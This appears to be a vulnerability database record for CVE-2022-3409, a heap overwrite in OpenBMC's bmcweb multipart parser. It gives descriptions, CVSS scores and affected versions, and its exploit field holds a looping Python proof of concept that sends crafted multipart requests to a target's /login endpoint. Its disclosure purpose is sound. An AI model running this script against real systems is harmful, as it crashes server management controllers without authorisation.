gsd-2022-3409
Vulnerability from gsd
Modified
2023-12-13 01:19
Details
A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
Aliases
Aliases
{
"GSD": {
"alias": "CVE-2022-3409",
"id": "GSD-2022-3409"
},
"gsd": {
"metadata": {
"exploitCode": "unknown",
"remediation": "unknown",
"reportConfidence": "confirmed",
"type": "vulnerability"
},
"osvSchema": {
"aliases": [
"CVE-2022-3409"
],
"details": "A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.",
"id": "GSD-2022-3409",
"modified": "2023-12-13T01:19:40.568502Z",
"schema_version": "1.4.0"
}
},
"namespaces": {
"cve.org": {
"CVE_data_meta": {
"ASSIGNER": "openbmc-security@lists.ozlabs.org",
"DATE_PUBLIC": "2022-10-07T19:00:00.000Z",
"ID": "CVE-2022-3409",
"STATE": "PUBLIC",
"TITLE": "Unauthenticated out of bounds stack write in bmcweb"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "OpenBMC",
"version": {
"version_data": [
{
"version_affected": "\u003e=",
"version_name": "Release",
"version_value": "2.10"
},
{
"version_affected": "\u003c=",
"version_name": "Release",
"version_value": "2.12"
},
{
"version_affected": "!\u003e=",
"version_name": "Release",
"version_value": "2.13"
}
]
}
}
]
},
"vendor_name": "OpenBMC Project"
}
]
}
},
"credit": [
{
"lang": "eng",
"value": "Finder: Jakub Rozanski, Intel Corporation"
},
{
"lang": "eng",
"value": "Remediation: Krzysztof Grobelny, Intel Corporation"
}
],
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS."
}
]
},
"exploit": [
{
"lang": "eng",
"value": "import socket\nimport ssl\nimport time\n\nHOST = \"\" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB\nPORT = 443\n\nlength = 322\nadditional = \"\"\n\npayload = \"\"\"POST /login HTTP/1.1\\r\\nHost: \u003cHOST-IP-ADDR-HERE\u003e:8080\\r\\nUser-Agent: curl/7.58.0\\r\\nAccept: */*\\r\\nContent-Length: %s\\r\\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\\r\\n\\r\\n-----------------------------d74496d66958873e\\r\\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\\r\\n\\r\\n\"\"\"\n\nif __name__ == \"__main__\":\n\n while(True):\n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)\n\n client.connect((HOST, PORT))\n toSend = payload % (str(length), additional)\n print(toSend)\n client.send(toSend.encode(\u0027utf-8\u0027))\n print(client.recv(4096))\n client.close()\n time.sleep(0.01)\n length += 1\n additional += \"a\"\n"
}
],
"generator": {
"engine": "Vulnogram 0.0.9"
},
"impact": {
"cvss": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
}
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "CWE-121: Stack-based Buffer Overflow"
}
]
},
{
"description": [
{
"lang": "eng",
"value": "CWE-229: Improper Handling of Values"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://github.com/openbmc/bmcweb",
"refsource": "CONFIRM",
"url": "https://github.com/openbmc/bmcweb"
}
]
},
"solution": [
{
"lang": "eng",
"value": "https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56868"
}
],
"source": {
"discovery": "INTERNAL"
}
},
"nvd.nist.gov": {
"configurations": {
"CVE_data_version": "4.0",
"nodes": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:a:openbmc-project:openbmc:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "2.13.0",
"versionStartIncluding": "2.10.0",
"vulnerable": true
}
],
"operator": "OR"
}
]
},
"cve": {
"CVE_data_meta": {
"ASSIGNER": "tbd@nist.gov",
"ID": "CVE-2022-3409"
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "en",
"value": "A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "en",
"value": "CWE-787"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://github.com/openbmc/bmcweb",
"refsource": "CONFIRM",
"tags": [
"Product",
"Third Party Advisory"
],
"url": "https://github.com/openbmc/bmcweb"
}
]
}
},
"impact": {
"baseMetricV3": {
"cvssV3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6
}
},
"lastModifiedDate": "2022-10-31T13:14Z",
"publishedDate": "2022-10-27T13:15Z"
}
}
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
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